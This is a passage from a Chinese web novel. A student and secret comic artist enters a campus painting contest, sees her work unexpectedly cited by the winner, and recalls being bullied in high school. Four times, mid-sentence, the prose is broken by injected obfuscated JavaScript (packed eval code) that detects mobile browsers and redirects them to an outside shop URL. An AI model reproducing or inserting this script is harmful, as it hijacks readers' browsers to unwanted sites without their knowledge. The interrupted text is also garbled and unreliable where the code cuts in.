“明天我们就要去上茂市其他的场馆演出了,之后还会去别的城市,别的国家。”诺特斯突然说,“接下来很长一段时间,我可能都没有时间来找你。” 那真是太好了,庄森芽心想。 诺特斯注视着她,“这段时间,你照顾好自己。” 说得这么关切,还不是因为如果她出了什么事,他也别想好过。 在漫画完结之前,他们的命运是被紧密地绑定在一起的。诺特斯想要自由,而庄森芽想要甩开他这个麻烦,在这一切结束之前,他们就算互相厌恶也只能一起共事。 她嘲讽地一笑,模仿他惯有的戏谑模样,“这我可没办法保证,意外总是比预想的先到来。” 你就提心吊胆去吧。 作者要是嗝屁了,看你一个漫画人物还能怎么活。 没有故意想咒自己的意思,但是让诺特斯吃瘪真的很爽。 可她没在对方的脸上看出一丝不满的神色,男人依旧用那双没什么波澜的金棕色眼睛盯着她,好像从昨天开始,他就一直是这副模样,像吃了什么镇定精神一类的药物似的,整个人的情绪都陷入了一种没有起伏的静默。 他垂下了眼睛,“那看来只能我多留意一点了。” 留意什么,留意她的安危吗? 都到这个时候了,又何必惺惺作态。她已经见过他满嘴獠牙的模样,再也不会相信他故作关切的表演。 庄森芽没接话,推开门毅然而然转身离去。 走廊里有很多人在忙碌地跑动着,她穿梭于那些人之中,就像在挣脱一个如影随形的泥沼。 诺特斯说他会消失一段时间,她求之不得。 没有了这个麻烦,她该有多轻松啊。 繁忙的走廊里,她偶然驻足,回头望去,没有人追上来。 这是她所期待的。 ……是的,这是她所期待的。 ## 那之后很长一段时间,就像诺特斯说的,他再没有出现在她周围烦她。 九月过去,十月以一个长假作为起始。 学生们纷纷离开校园,有的回了趟老家,有的去外地旅行,还有些卷王在学习,以及一些聪明的疯子在想着怎么创业。 庄森芽这段时间则待在家里,没日没夜赶漫画进度,偶尔和老妈出去逛逛街,或者帮忙照顾一下家里的患者。 日子过得很快,长假一转眼结束,学生们又纷纷回巢。 而新的一周的起始,则以温枣的哀嚎作为开端。 她在雏鸟周的聊天群里连轰带炸:「可怕!赵茵和孟高义已经定下决战的时间了!」 经过一番了解,庄森芽得知,动漫社团长向绘画社团长提出了挑战,起因似乎是一些私人原因,那天在演唱会上温枣给她看的战书就是战火的开端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208473|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两个社团将共同举行主题绘画评选,失败的那一方被吞并,两个社团将合二为一;胜利那一方,团长可以保住自己的职位,失败的则不然。 这件事情闹得很大,平日里这两个社团虽然成员不少,但是气氛轻松融洽,也没什么硬性指标,所以除了一些小型的集会活动之外不怎么出现在公众的视野中。 然而十一回来后的这一周,整个学校的人都知道了两个社团马上就要开战的消息。 其实社团合并这种事情挺无厘头的,因为双方都有无法完全被彼此完全吸纳的部门。 比如,绘画社有一看就不属于动漫社的国风部门,动漫社有和绘画社完全不搭边的Cosplay部,乍一看,无论往哪方合并,这些特殊部门都有可能失去生存之地。 不过关于这点,动漫部的赵茵表示,社团合并之后就会改名,会改成一个比较具有通用性的名字,会将所有的部门都囊括进来,变成一个大集体。 今天是周三,课程只有下午的一节,庄森芽有充足的时间,于是就和伙伴们在群里闲聊了起来,她打字说:「所以两个社团到底为什么会打起来?」 温枣很快回复:「好像我们团长和你们团长有点恩怨,具体是什么我也不太清楚哈哈。」 庄森芽:「失败的话,一个就要做另一个的副团长,这是杀人诛心吗。」 温枣:「失败的一方还不一定能做副团长呢,说不定会直接被开除团籍。」 庄森芽:「好暴力,好无情。」 温枣:「两个社团都有好多学生应战,我看了一下报名信息,动漫社能上的基本全都上了。可惜我不会画画,不然怎么说也上去画两笔。」 庄森芽:「如果比作品的话,还真不一定能分出胜负来,都是绘画方面顶尖的社团……」 温枣私聊她:「森芽,你也来参战吧![星星眼]」 庄森芽私聊回复:「?枣枣,我俩现在可是敌对社团的,你怎么劝我上战场啊。」 温枣:「我觉得你前五是没问题的。」 庄森芽:「虽然我觉得你在说胡话,但那不是更不应该让我上场吗,万一绘画社赢了呢。」 温枣:「那多好,我们就是一个社团的了!」 聊到这,庄森芽可算是有点看出来了,对方完全就是想凑热闹吃瓜看戏,哪个社团解体了都没什么影响,反正还会被纳入一个更大的新集体中去,受伤的只有其中某一个团长。 一点责任心都没有地围观这场殊死博弈的比赛,这么丧尽天良的事,不瞒任何人说……她也喜欢。 庄森芽当即私聊回复温枣:「不用再多说,怎么报名?」 温枣在个人聊天页面甩了个链接过来。 这时候,费洛在群里冒泡了:「什么时候开战?请求围观。」 何元楚闪现出席:「+1」 温枣回到了小组群中:「这周六,活动广场!都来都来!」 这下好了。庄森芽心想。 后面有事做了。 61. 爆火直播间 她忙碌了起来,打开温枣发到群里的链接,仔细地阅读起了这次比赛的规则说明。 比赛采用现场绘画的方式,所有参赛者在活动场地进行作画,会有专业的部门负责直播录像。 比赛时间从早上九点一直持续到下午六点,晚七点开始,将进行线上直播,进行1v1评比赛。 每隔十秒,主办方将放出两张作品,不会标明具体的画师是谁,线上观众需要选出两者之中他们更喜欢的一张,每个IP在每一波次只能投出一票。最终主办方会对每个作品的评分进行算法统计,得分最高的作品即为冠军。 而冠军所属的社团,将成为本次比赛的最终赢家,拥有吞并另一方社团的权力。 庄森芽仔细阅读了一番说明,心想留给选手的绘画时间实在算不上有多么充裕,细化有一定难度,可能这次主要比拼的关键是色彩、概念和构图?因为只给观众十秒的时间去判断作品好坏,其实注意不到太多的细节。 绘画的主题不限,风格不限,但拒绝任何色情主题的创作。 庄森芽把它当成了一次放松吃瓜活动,因为也没什么奖励好拿,她权当是去玩的。 时间很快来到了周六,一大清早,社团成员们便在活动广场上开始摆上座椅和桌子,供参赛者使用。 庄森芽吃过早饭之后,九点钟准时到达了比赛场地。场地上已经坐满了人,看起来大家都很重视这场比赛。 她根据编号找到了自己的座位,一时间有种来参加考试的感觉。掏出工具,她开始以最熟悉的漫画风格往稿纸上画线。 周围陆陆续续有人来围观,为了保证没有人作弊,比赛采用的是露天公开监管的方式,参赛者必须在规定环境下作画,任何人都可以随时来观摩任意作者的绘画过程。 因为并不想被任何人知道自己会画漫画这件事,庄森芽其实是带着兜帽过来的,一路上都没有引起任何人的注意,连温枣他们都没找到她在哪,她隐蔽得十分完美。 时间来到中午,她的画完成一半。那上面画着的是一个机械少女,眼神冰冷无机质,四肢和关节有明显的金属部件。 偶尔会有人凑过来看她的画,一般会留下一个“好硬核”的评价。 午饭的时间到了,她伸了个懒腰,暂时把画到一半的画放下,跑到食堂去吃午饭。有的参赛者自己带了便餐,留在座位上连屁股都不动,庄森芽每在这种时候就觉得自己是个纯正的三流,根本没有人家身为艺术家的坚持,难怪画漫画不温不火。 当然,艺术追求什么的总是要排在温饱的后面,停下一个小时去吃饭对她来说一点心理负担都没有,或许这一个又一个小时会让她和其他人拉开差距,但,管它呢,她就是为了吃饭的这一个小时而活着的。 美食怎么可以辜负。 回到活动广场后,她又投入作画。 极度专注的心流下,时间过得很快,她总觉得才过了一两个小时,但其实时钟已经右转了半圈,来到了比赛结束的时间,下午六点整。 请来的裁判拿着一个大喇叭喊着:“时间到了,请就此结束作画。” 而后学生们纷纷停笔,仿佛这真的是一场严肃的考试一样。 有人是在纸张上作画,有人是电子版,组织人员把画纸都收了上去,带去教学楼扫描,而电子版则由另一部分人员进行线上收集。 过了一个小时,整理好所有的画作和画师信息之后,最让人期待的直播开始了。 主持人是学生会宣传部的人,这种活动一般都有他们的身影出现。 “各位亲爱的同学,久等了!马上我们直播间即将要展开的就是本次动漫社vs绘画社比赛的最终对决环节,接下来,我们将对参赛作品进行1v1的随机展出,为保公正,每个作品的展出次数都是相等的。请同学们准备好你们的鼠标或者手指,在屏幕上为自己支持的作品点一下‘我喜欢’吧!” 直播间的标题是「上茂哈里森大学艺术争霸赛」,建房的时候差不多有五六百人围观,而经过十分钟的直播,这个数字已经飙到了四位数。 “没想到居然有这么多人关注我们这场比赛,看来大家对艺术都有相当的追求和独到的见解,考虑到让数据更加公正,我们临时决定让直播时间延长二十分钟,保证每一幅作品都能得到足够的曝光!” 主持人说这段话的时候,直播间人数是一千五百人左右,而在他说完这段话的十分钟内,数字已经飙升到了将近五千。 此刻的庄森芽左手捧着一袋零食,右手抓着一杯快乐水,坐在学校河岸边的野餐垫上,和她雏鸟周的几个小组成员聚在一起,围坐在一台笔记本周围,边聊着天,边观看着直播。 “观看人数都快上万了!”温枣盯着直播间人数,发出一声感叹。 何元楚摇摇头,不敢置信的模样,“我们学校总共也就两万多人。” 庄森芽猜测,“会不会有校园外的人来看直播了?” 何元楚状似沉思,“有可能,直播平台本来就是对全社会开放的,虽然一般只有圈子内的人能刷到,但不排除有学校外的人会偶然看到。” 费洛吨吨往嘴里灌了两口可乐,爽得叹了口气,“可是怎么看,这个数量级都是被推广了吧,增长得有点太可怕了。” 他们共用一台电脑,主要操作人是温枣,基本是按照她的喜好进行投票,几人都没有什么异议,来到这里也不是为了这件事,单纯是为了和朋友小聚。 两个男生甚至连庄森芽参与了活动都不知道,直到现在为止,这个校园里知道庄森芽会画漫画的,除了温枣以外,恐怕只有裴佑哲了。 而她觉得维持现在这个状态就好,虽然大家知道她加入了绘画社,但不知道她是狐尾平台的画师,可能认为她只会随随便便画点简单的风景画之类的,让他们这么误解下去就可以了。 “……啊!”突然,温枣发出了惊呼,盯着屏幕目不转睛。 众人好奇地凑上去,看到直播页面上展示出来两幅画作,左边一副是一个持剑的老人,看上去十分有中世纪的风格;而另一副则是一个机械少女,未来感十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208474|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足。 第二幅画是庄森芽画的,她没向任何人透露过这幅画是她的作品,也没人看到画这幅画的人长什么模样,所以理论上不会有人把这幅充满了漫画风格的画和她联系在一起。 然而,温枣却用手臂碰了碰她,递给她一个眼神,然后在两幅画中啪一下子给右边那幅点了‘我喜欢’。 温枣看出来了那是她的画。 她的小姐妹看过《灵月十四》,想必是已经十分熟悉‘青沐’的画风。 这种被人记住的感觉莫名有些良好,庄森芽不禁露出一个笑容,也用肩膀轻轻撞了温枣一下,那是表达感谢与喜爱的意思。而这场默剧看的旁边两个男生一头雾水。 直播投票还在继续,此刻,观众数量已经来到了一个有些夸张的数字——五万。这已经远远超出了上茂哈里森大学的学生数量,而且评论区中也能看出有不少的校外人员,以其他学校的学生居多,还有一部分社会人士。基本可以坐实,这次的直播真的破圈了。 庄森芽仰躺在野餐垫上,歪着头盯着屏幕,时不时和朋友们聊聊天。 夜晚只有路灯提供照明,除此之外还有温枣拿过来的露营灯以及一只南瓜灯,周围的草坪上一个人也没有,这种条件下,也就只有他们会黑灯瞎火地跑来湖边野炊。 “啊~~这两幅都好好看,好纠结。”温枣对着屏幕,左右为难。 此时画面上出现的刚好是两幅风景画,不知道是刻意安排在了一起,还是偶然的美丽巧合。左边是一副冰原上的湖泊,有蓝色的湖面、深绿色的针叶树林,还有远处朦胧的雪山山尖,整体有种静谧之感;右边则是一条海岸,同样蓝色的海水、白色的沙滩、初晨的太阳,以及清早忙碌的运货工人,是一张颇具烟火气的写实风画作。 倒计时只有十秒,时间快结束了,温枣依然选不出来,页面刷新,那两幅画便这么中屏幕上溜走了。 庄森芽盯着新端上来的两幅有些超现实主义的作品,脑海里依然回想着上两幅画作的内容,那副海景图不知道是谁画的,寥寥几笔就能勾勒出一个忙碌的人,可见画工非常扎实。 这幅画让她想起来前不久见过的一张照片,那是某个希腊的海滩,有碧蓝的水和白色的砂石,以及天空中翱翔的海鸥,是非常令人心情舒畅的风景。 她想再看看那张照片,打开相册,却一时被翻不到头的照片难住了,相册里都是些美食、学习材料,以及自拍他拍,那张海景图已经不知道被顶到了哪里去。 但是,还有另一个可以找到它的方式。 庄森芽打开了和诺特斯的聊天框,他们的交流依然停在半个月前,内容是她对男人长篇大论的控诉,让他不要在舞台上和主舞互动太多,也不要去招惹其他的女同学。 对方没有回复这条消息,它有点别扭地躺在聊天记录的末尾,像是一个臃肿的疙瘩。 看着那些控诉对方的文字,情绪也被带动,就仿佛又能体会到那日的烦躁,想起每当主唱和主舞两人的身影交叠在一起时,自己胃部灼烧起来的不适。 62. 就硬cue? 她摇摇头,把那些莫名其妙的情绪甩出去。手指拨动着,界面下滑,以往的记录出现在眼前。 他们的聊天记录并不长,次数不多,消息也简略,大段大段的文字铺陈其上,甚至没有一个用来缓和气氛的表情包。 她终于翻到了那张海景图,图片就在那里,其中的景色也存在于世界某处,看与不看,它都一直美丽。 还记得收到这条消息时的情境是:她在罗可公园的湖边写生,笔下是灵动的湖,而她的手机在一旁嗡嗡作响,拿起来,就看到诺特斯给她发来一长串的近日行程。 那个时候,她问他为什么要发这些东西,他说是报备。她制止之后,他就不再发了。 但或许不应该制止他,这样的话,就能知道他现在每天都在干什么。 不是因为她想知道,这只是……为了更好地监视他的一举一动。 因为他们之间已经有半个月没有联系了,曾经从来没有这么长时间断联过。虽然自己主动去网上搜演唱会的讯息,就能了解到山野猫乐队的行程,也有人在网上放出演唱会的实拍,但这只是单方面的了解,她与诺特斯的交集实际在校园公益演出结束之后就戛然而止了。 再度把那张海景图保存到手机本地,给它专门建了个名叫‘美景’的相册,相册里只有这么一张照片,彰显出创建者满怀的临时起意。 聊天记录回到了最下方,光标在输入框上闪烁着,她想说点什么,对对方现状的不了解让她有一丝忧心忡忡,或许她控制欲真的很强,就是想要知道诺特斯现在在做什么,但她不认为这是自己的问题,而是因为对方是个时不时就会制造骚乱的人。 文字在输入框里写了又删,她始终不知道该怎么询问。 最后一次发言是她的控诉,她要怎么若无其事地当那不存在,用一句虚情假意的问候把过去的腥风血雨忽略过去? 而且,她又该发什么? 「你在做什么」、「巡演什么时候结束」、「什么时候来找我」,这些问题听起来都怪怪的,有种她好像急不可待要与他见面的意味,感觉很别扭。 思来想去,这条消息最终还是没有发出去。 “投完了投完了,主办方要统计数据了!”温枣十分兴奋。 注意力被转移,庄森芽的目光回到电脑屏幕上。直播平台上,宣传部的主持人正一边描述着刚才激烈的角逐,一边等待统计人员将前三名的数据计算出来。 有流程自动化的帮助,这个过程并没有耗费太久,很快,排名靠前的画作就被端了上来。 主持人从后到前开始公布,先展示出来的是第三名,那是一个女生的画像,她坐在一个喷泉边上,盯着画作外面的人,眉眼十分传神,整个人物栩栩如生,这一看就是作者暗恋的对象,带着极强的初恋气息。 第二名是一幅超现实主题画作,放大的月,逆行的瀑布,通往天国的阶梯,一切混沌的东西组合在一起,却又形成一幅和谐的景象,能看出作者的构思特别巧妙,画作整体呈现出来的是神秘又光怪陆离的氛围,看着让人挪不开眼睛,只想到画作之中去探查个究竟。 主持人紧接着公布了第一名。 或许在看第二名的时候,还不太能相信有什么能胜过那超现实主题的作品,可是当第一名的画作展示出来,那样的念头就打消了,即便艺术审美水平不高的人,也能一下子看出第一名为什么是第一名。 画作上有一只半人马,雌雄不祥,它有着野马鬓毛一样的长发,手上拿着一只月光权杖,前面的两只双蹄高举,似乎要去践踏脚下的土地。疯狂与美丽交织,这一幅画能让人联想到很多经典的场景,但又具体说不上来是哪一个,它有一种神圣的神秘感,就好像画作者亲眼见过这一幕一般,那匹半人马从不同的角度看有不同的气场,生动得仿佛随时都会从画里面跳出来。 “不愧是第一……”庄森芽喃喃着。 主办方公布了所有作品的排名,庄森芽在第十名左右的位置找到了自己画的那个机械少女,没有期待它能夺榜,能在这个位置她已经受宠若惊了。 接下来的直播是最令人期待的一刻,马上,主持人就要公布冠军作品的作者信息,而这人所属的社团也即将揭晓。 动漫社和绘画社究竟哪一个会被吞并,成败皆看此一举。 “创作了这幅半人马画作的人是……”主持人停顿了片刻,故弄玄虚,“动漫社的姚海兰!” “动漫社赢了!!”温枣尖叫,双腿在草地上扑腾着,模样激动不已。 一切来得太突然,庄森芽一点切实的感觉都没有。 绘画社真的要被动漫社吞并了? 她打开绘画社的群聊,发现消息已经炸了锅,从七点的直播开始,成员们就一直在窜拢着为己方的作品投票,而当最终冠军消息确认的时候,这个群里充斥着的都是哀嚎。 有人在问团长我们该怎么办,该何去何从。 有人说这种比赛方式不公平,应该把两个社团所有作品的评分各自加在一起,谁高谁才算哪个社团胜利。 还有人宁死不屈,说要永远追随团长,绝对不会加入动漫社。 庄森芽自己倒是对这个结果没什么感觉,反正她最开始加入绘画社只是图一个轻松快乐,并没有什么沉重深远的追求,社团合并就合并,只要将来举行活动的时候还能带上她一个就行。 不过她能理解成员们的不甘,于是往群里扔了两句安慰鼓励性质的话。 “比赛结束了,我们也回去吧。”何元楚提议。 “今天真是大饱眼福啊~!”温枣感慨。 天色早就黑了,几人对归巢没有什么异议,收拾了一下野餐垫上的东西,趁着门禁的时间还没有到,在星夜之下赶向各自的宿舍楼。 这次绘画比赛活动可谓举行的非常成功,公布冠军的时候,直播间的人数已经到达了七万,校园论坛内也都是相关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208475|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的帖子,排名靠前的参赛作品全部公布了出来,以供大家欣赏。 所有人中,只有对绘画社十分忠诚的成员和绘画社的团长黯然失色。 在比赛结束的第二天,绘画社就在上茂哈里森大学消失了。 原本以为这件事就会这么过去,可没想到仅仅第二周,后续针对冠军的采访中,一个对于庄森芽来说惊天动地的霹雳砸了下来。 她原本没有关注冠军采访,是温枣叫她快去看。 采访采用的是录播的形式,上传到了校园的公开网站上,网站是对所有人开放的,不光校内成员可以看到,校外人士也可以浏览上面的视频。 庄森芽找到了冠军采访,点开,拖动进度条快速地浏览着视频内容。 屏幕上,冠军微笑着说着自己的夺冠感言:“能为大家献上这样一幅画作也是我的荣幸,虽然这次比赛没有奖励,但对我个人而言是一次不可多得的肯定……” “……作画的时候,考虑到时间和绘画工具的限制,所以我并没有构思太过宏大的作品,只是希望能够呈现出一个聚焦于个体之上的主题……” “……我这幅作品的灵感来自于曾经看过的一部漫画,当时只追了一个开头,后来因为作者断更就没再继续看下去了,我记得那部作品叫《灵月十四》,是在狐尾平台上连载的……” 听到这里,正在上课的庄森芽差点没一嗓子叫出来。 她瞪大了眼睛盯着屏幕,把进度条往回拖,想要再看一遍,以确定自己的耳朵是不是听错了。 但是没有,冠军的的确确提到了她笔下漫画的名字。 怎会如此……居然被人当成了灵感的来源,她那不起眼的小作品到底有什么好借鉴的? 漫画里,莱王星上的确有半人马,她给这个星球的世界观设定就是这样,比较光怪陆离,但半人马只在故事开篇的时候出现了一个画面,画面上描绘着他因衰老而死去的模样,算是对世界观背景的一个阐述。 庄森芽感到难以置信,居然这么巧,她所在的学校、这么大点方圆里,居然已经出了两个看过《灵月十四》的人,一个是温枣,一个是昨天比赛的冠军,这个比例放到整个年轻人的群体里,她的漫画早就火了。 但现在还没有,每天她连个馒头钱都挣不出来,所以只能说,身边有人看过《灵月十四》完全是偶然。 “《灵月十四》是什么漫画?以前没听说过。”庄森芽身边的莫茹说。 她正和自己的舍友几人一起在阶梯教室上大课,课程内容并不紧凑,总是上十分钟就溜号的莫茹自然而然地打开了手机,关注起昨天的比赛结果,同样也看到了冠军的采访视频。 汪素文在一旁认真地听课,并没有回复她的小伙伴的问题。 庄森芽语气有点紧张,故作一窍不通,“可能是什么不太知名的作品吧?” 莫茹趴在桌子上,看起来没怎么在意,“接下来就说不定咯。” 63. 戳破 没想到一语成谶。 课间休息的时候,庄森芽打开狐尾平台,发现今日的收入比以往每天都要高,甚至比最高值翻了十倍,虽然翻了十倍之后还是小钱,但这无疑代表着有更多的人来看了她的漫画。 难道是冠军采访的视频起到了什么宣传效果……? 她打开学校论坛,果然发现有人在讨论《灵月十四》的剧情。这个点让她猝不及防,她已经当了快一年的默默无闻的小画师了,被人公开讨论自己作品什么的她想都没想过。 论坛内的评价好坏参半,有人说看不下去,有人说画技拙劣;但有人说就喜欢这种画风,还有人已经追到了最新一章,开始讨论起接下来的剧情。 这些内容看得庄森芽五味陈杂,她已经不知道该做出什么反应好了,也不能在课堂上激动地叫起来,胸腔里有种作乱的气息在撞来撞去,她几乎按捺不住。 受关注是多么一件令人忐忑又隐隐兴奋的事情啊。 她一一扫过那些帖子,完全把上课的事情抛到了脑后,打算下半堂课就徜徉在学校论坛里了。 她一个个点开,或者被夸赞得意满离地退出,或者被犀利的评价弄得难过不已。心情跌宕起伏,有时在峰顶,有时在谷底。可即便会收到差评,还是控制不住地往下看。 翻了一页,她看到一个标题:[你们有没有觉得《灵月十四》的反派……] 后面的内容被缩略隐藏了。 她点了进去,阅读完主贴的内容,差点没从座位上跳起来。 主贴写着:[你们有没有觉得《灵月十四》的反派和前一阵来我们学校公益演出的山野猫乐队主唱诺特斯长得很像?] 庄森芽在内心尖叫。不是吧,这也能被看出来! 不过这个帖子下面没有多少回复,只有两三个赞同的声音,主题贴已经沉底了。庄森芽想回复一句‘不像’,但唯恐自己的回复会把帖子顶上去,引起新一轮的讨论,于是作罢。 好在学生们虽然见过诺特斯,但不知道《灵月十四》的作者青沐就是上茂哈里森大学的大一学生,所以虽然诺特斯和反派长得像,他们估计也只当是个巧合,不会真的以为两者之间有什么联系。 庄森芽退出帖子,只觉得惊魂未定,心情像是坐过山车一样,年纪不大心脏病却快要犯了。 从冠军宣布灵感是来自《灵月十四》这部漫画作品开始,一切就像是野树林点着了火一样无法控制,身在局中的她感觉自己就像是海浪里的一叶扁舟,被大浪左拥右推,根本决定不了会去往哪里。 后半堂课在提心胆战中结束了,下课的时候,庄森芽和舍友们一同离开,她把外套的帽子罩在了自己头上,舍友关切地问她是不是冷了,庄森芽说是,但其实真实原因是她有点不想见人。 走出阶梯教室,人群有些拥挤,以为只是惯常的水泄不通,可当发现了拥挤的源头,才知道并非如此。 在离开教学楼的必经之路上,一个无论到哪去都会吸引众多视线的人站在那里,而就是他制造了这场交通拥堵。 学生会主席裴佑哲的目光眺望着,越过他身边的人群,直至锁定在了刚从阶梯教室中走出来的庄森芽身上。 庄森芽注意到了他,也注意到了他的视线,看到主席目无旁物地朝她走过来,短暂地堵住了她的去路。 “有话想和你说,跟我来。”他丢下这么一句话,转身往走廊的另一个方向走,似乎是要把她引到什么地方去。 庄森芽让舍友先回去,自己顶着学生群体庞大的好奇视线,跟在主席的身后。 她猜测裴佑哲找她可能是想聊聊石玥诗的事情,毕竟他们约定好了,庄森芽会帮他传信和转交礼物。 她很想向周围围观的人解释清楚这一点,免得他们又开始制造一些流言蜚语,她可不想再被人误会她喜欢裴佑哲了,费洛断言她喜欢他的那一幕她还记着呢,向好友一个人解释起来就那么费力,不敢想要是被更多的人误解,还要怎么为自己开脱,简直百口莫辩。 但是,他来找她的真实原因肯定不能说。毕竟是学生会主席和文艺部副部长的大事,说半个字都会被传成惊天大绯闻的那种程度,故而,她只能缄口,把头一低再低,像只小鸡仔一样跟在裴佑哲的身后。 他带着她来到了一间空教室,看起来像是小班课程会选用的场地,座位是呈扇形排开的,面朝着中央的讲台。 进来之后,裴佑哲关上了门。 庄森芽主动发起谈话,“是有什么东西要给玥诗吗?” 她打量着对方,但没有从他身上看到除了衣物以外的东西,所以不由感到有点困惑。 也不知道他和石玥诗发展到哪一步了,印象里上一次两人的交集还停留在公益演出那天,石玥诗在舞台上和诺特斯互动得点频繁,而裴佑哲则看起来很恼怒,早早便离了席。 这是她所知道的有关两人最后的往来,背地里是否还有其他的交集,庄森芽就不知道了。 她等待裴佑哲开口拜托她去做什么事情,然而等来的却不是她期望的内容。 “森芽,今天大家在讨论的《灵月十四》,是你画的吧。” 裴佑哲如此说着,甚至没有用上一个疑问句。 庄森芽一下子定在了原地,手臂有些不知所措地垂在身体两侧,她根本没想到裴佑哲找她说的事是有关这一件,直接被打了个措手不及。 “主人公尤梭在某种程度上和我有极其相似的地方。”裴佑哲补充说。他一身正派,眼里却有打量的意味,紧盯着庄森芽,似乎是想从她的反应中看出来什么。 庄森芽吞咽了一口口水,只觉得自己的嗓子有点干涩。 裴佑哲为什么会突然提起这件事,他是怎么知道……是因为尤梭吗?尤梭的原型设定的确就是他,高中的时候,她承诺给他画的那部冒险漫画中,主角就是完全照着裴佑哲的模样画的,《灵月十四》的主人公沿用了那个主角的外形设定,而现在这部漫画被学生们搬了出来,广为人知,所以被裴佑哲注意到了? 她抿了抿唇,不打算承认,“不是我。” 即便是待她亲切得仿佛家人一样的裴佑哲,庄森芽也不打算向他透露这件事情,虽然感觉有点对不起他。 “为什么要否定?”裴佑哲似乎认准了她就是作者,如此反问着。 庄森芽不理解对方为什么要纠结于这点,辩解说:“因为我本来就不是……” “你还在害怕吗?” “什么?” 裴佑哲走近她,身上带着一股草木香的气息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208476|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音放轻了,以俯视的视角投下温柔的视线,“害怕被人知道你在画漫画这件事。” “……” 裴佑哲到底是…… “高中发生的那种事不会再有第二次了。”裴佑哲用上安慰性质的口吻。 她盯着对方,想从那双温柔的眼睛中看出他的深意。 他到底为什么要单独找她,偏偏在这种时候提起那段经历? 高中的时候,庄森芽有过那么一段不太如意的过往。 十五岁的她不怎么喜欢和人交流,性格在旁人看来有些怪异,朋友很少,只有一个叫齐安淑的女孩会带着她玩。 那个时候,庄森芽唯一的乐趣就是在草稿本上画小漫画,她每画完一个,就会拿给齐安淑看,齐安淑就会对她说她还想看什么,庄森芽就会继续给她画。 一次,庄森芽把自己最新的小短漫拿给齐安淑分享,上面画的是自己变成蚯蚓的梦。 漫画里,蚯蚓问蝴蝶的幼虫,明明你我最开始都在地面匍匐,为什么你能破茁成蝶,飞到天上? 蝴蝶回答它:「你只看到我飞到了天上,却没看到我在地面沉寂了多久。我那些无趣的沉眠,都是为了有朝一日获得飞翔的力量。」 虽然画得有些不好看,可庄森芽还是很喜欢这个小故事。 庄森芽把短漫给齐安淑分享,齐安淑说当下没空看,于是就把画纸拿走了。 然而,过了两天,却有别班的男生拿着那张画纸当众传阅,嬉笑着嘲笑她,问她:”你是蝴蝶还是蚯蚓啊?” “看你双脚落地,没飞起来,那应该是蚯蚓吧!”男生断言。 那之后,庄森芽获得了一个外号‘蚯蚓女’。 她感觉到有些受挫,但不是不能消化,隔壁班的男生们说她画得丑,但起码齐安淑从来没有这么说过,她喜欢她的画,有朋友的支持就足够了。 然而,在被嘲弄的次日,庄森芽知道了自己的画为什么会跑到隔壁班那些男生手里去。 是齐安淑给他们的。 不是不小心被抢走,也不是弄丢了被捡起,而是故意交到那些性格恶劣的男生手里去的。 庄森芽一开始不相信,断定是谣言,于是单纯地去问齐安淑真实的经过是怎样的。 然而,齐安淑对她说:你听到的一切就是真相。 那之后,这个庄森芽自认为是朋友的人和她说了很多话,那些话直到现在每每回想起来的时候还是会觉得刺痛。 直到被时间的泥沙掩埋,它也依然是泥土下的毒刺。 齐安淑说:我从一开始就最讨厌你。 她说她总是一副柔弱得需要被人保护的模样,一边迫使别人多照顾她几分,又招引那些不怀好意的男生去欺负她,班长宋澔为了保护她还被隔壁班的人堵在校园外打了,可她还是恬不知耻地维系着那副弱者的嘴脸。 齐安淑说自己每次看到她内向的模样时都会反胃,听到她细若蚊咛的说话声时都会无比恶心。她说班长被打都是庄森芽的错,她要让她付出代价,所以故意把她画的短漫给别人看,窜拢那些喜欢四处挑事、惹是生非的男生当众羞辱她。 从好友那里听到这一切的庄森芽受到了巨大的打击,从那之后很长一段时间,她都不再画画了。 64. 孽 而这段时间有个小小的插曲,几乎快要被她遗忘。 当那些男生拿着她的画作在操场上奔跑,像风筝一样拴着它、虐待它,嬉笑着把她的画拿给其他人看,嘲笑她,把画纸扔在地上踩踏时,她记得最终是裴佑哲捡起了那张破烂不堪的画,把它当面还给她,并对她说:“你画得很好看。” 